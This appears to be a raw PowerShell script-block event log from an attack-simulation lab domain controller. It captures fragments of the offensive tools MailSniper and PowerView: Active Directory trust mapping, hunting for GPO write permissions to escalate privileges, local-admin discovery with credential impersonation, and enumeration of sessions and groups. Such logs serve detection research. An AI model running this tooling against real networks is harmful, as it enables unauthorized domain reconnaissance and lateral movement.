("[*] Autodiscovering email server for " + $Mailbox + "...")
try
{
$service.AutoDiscoverUrl($Mailbox, {$true})
}
catch [System.Management.Automation.MethodInvocationException]
{
$e = $_.Exception.InnerException
if ($e.GetType().Name -eq "AutodiscoverRemoteException")
{
[Microsoft.Exchange.WebServices.autodiscover.AutodiscoverRemoteException]$e = $e
# AutodiscoverRemoteException has an Error property which describes the error returned by the AutoDiscover service
# https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.autodiscover.autodiscoverremoteexception.error%28v=exchg.80%29.aspx?f=255&MSPPError=-2147217396
Write-Output ("[!] AutodiscoverRemoteException: '" + $e.Error.Message + "'")
break
}
# Unfortunately, the other exception case, AutodiscoverLocalException does not have the Error property
# Therefore we do not have any interesting info to display
}
}
# Create Email Object
$newMail = New-Object -TypeName Microsoft.Exchange.WebServices.Data.EmailMessage -ArgumentList $service
$newMail.Subject = $Subject
$newMail.Body = $EmailBody
$newMail.ToRecipients.Add($Recipient) | Out-Null
if ($Attachment) {
# Attach File
$newMail.Attachments.AddFileAttachment($Attachment) | Out-Null
}
# Send email
$newMail.Send()
Write-Output "Finished!"
}
catch {
Write-Warning $Error[0]
}
}
function Invoke-SelfSearch{
<#
.SYNOPSIS
This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for specific terms.
MailSniper Function: Invoke-SelfSearch
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Updated: added oauth access tokens suport and SSO based support via primary refresh token for extra O365 leverage (UsePrt, AccessToken flags)
Updater: Yan Linkov (Illusive Networks)
.DESCRIPTION
This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for b38663b9-7d90-46e4-81bb-901c053808bdC:\Users\Administrator\Downloads\MailSniper-master\MailSniper-master\MailSniper.ps1
4104152150x0123620Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputer -Printersaef41075-fb64-4830-8d8e-9f7d81e0046d
4104152150x0123241Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputer6ccf11c6-3cdd-47e4-921d-c28f1ba67d92
4104152150x0123015Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputered4dbef0-3831-4659-9219-e8dbef07c71d
4104152150x0122772Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-DomainComputere1af415b-6ae2-4ed3-98c9-66f5cc71ce06
4104132150x0122644Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local4344Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,
[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain status tracker
$Domains = New-Object System.Collections.Stack
$DomainTrustArguments = @{}
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
# get the current domain and push it onto the stack
if ($PSBoundParameters['Credential']) {
$CurrentDomain = (Get-Domain -Credential $Credential).Name
}
else {
$CurrentDomain = (Get-Domain).Name
}
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the trusts for this domain
$DomainTrustArguments['Domain'] = $Domain
$Trusts = Get-DomainTrust @DomainTrustArguments
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
if ($PsCmdlet.ParameterSetName -eq 'NET') {
$ForestTrustArguments = @{}
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
$Trusts += Get-ForestTrust @ForestTrustArguments
}
if ($Trusts) {
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
if ($Trust.SourceName -and $Trust.TargetName) {
# make sure we process the target
$Null = $Domains.Push($Trust.TargetName)
$Trust
}
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
function Get-GPODelegation {
<#
.SYNOPSIS
Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
Author: Itamar Mizrahi (@MrAnde7son)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER GPOName
The GPO display name to query for, wildcards accepted.
.PARAMETER PageSize
Specifies the PageSize to set for the LDAP searcher object.
.EXAMPLE
Get-GPODelegation
Returns all GPO delegations in current forest.
.EXAMPLE
Get-GPODelegation -GPOName
Returns all GPO delegations on a given GPO.
#>
[CmdletBinding()]
Param (
[String]
$GPOName = '*',
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Ine66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122641Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local4044tring]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-LocalAdminAccess] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# check if the current user has local admin access to this server
$Access = Test-AdminAccess -ComputerName $TargetComputer
if ($Access.IsAdmin) {
$TargetComputer
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken
}
}
else {
Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainLocalGroupMember {
<#
.SYNOPSIS
Enumerates the members of specified local group (default administrators)
for all the targeted machines on the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the members of the specified local
group (default of Administrators) for each machine using Get-NetLocalGroupMember.
By default, the API method is used, but this can be modified with '-Method winnt'
to use the WinNT service provider.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER GroupName
The local group name to query for users. If not given, it defaults to "Administrators".
.PARAMETER Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainLocalGroupMember
Enumerates the local group memberships for all reachable machines in the current domain.
.EXAMPLE
Find-DomainLocalGroupMember -Domain dev.testlab.local
Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
Enumerates the local group memberships for all reachable machines the dev.testlab.local
domain using the alternate credentials.
.OUTPUTS
PowerView.LocalGroupMember.API
Custom PSObject with translated group property fields from API results.
PowerView.LocalGroupMember.WinNT
Custom PSObject with translated group property fields from WinNT results.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroupMember.API')]
[OutputType('PowerView.LocalGroupMember.WinNT')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName = 'Administrators',
[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
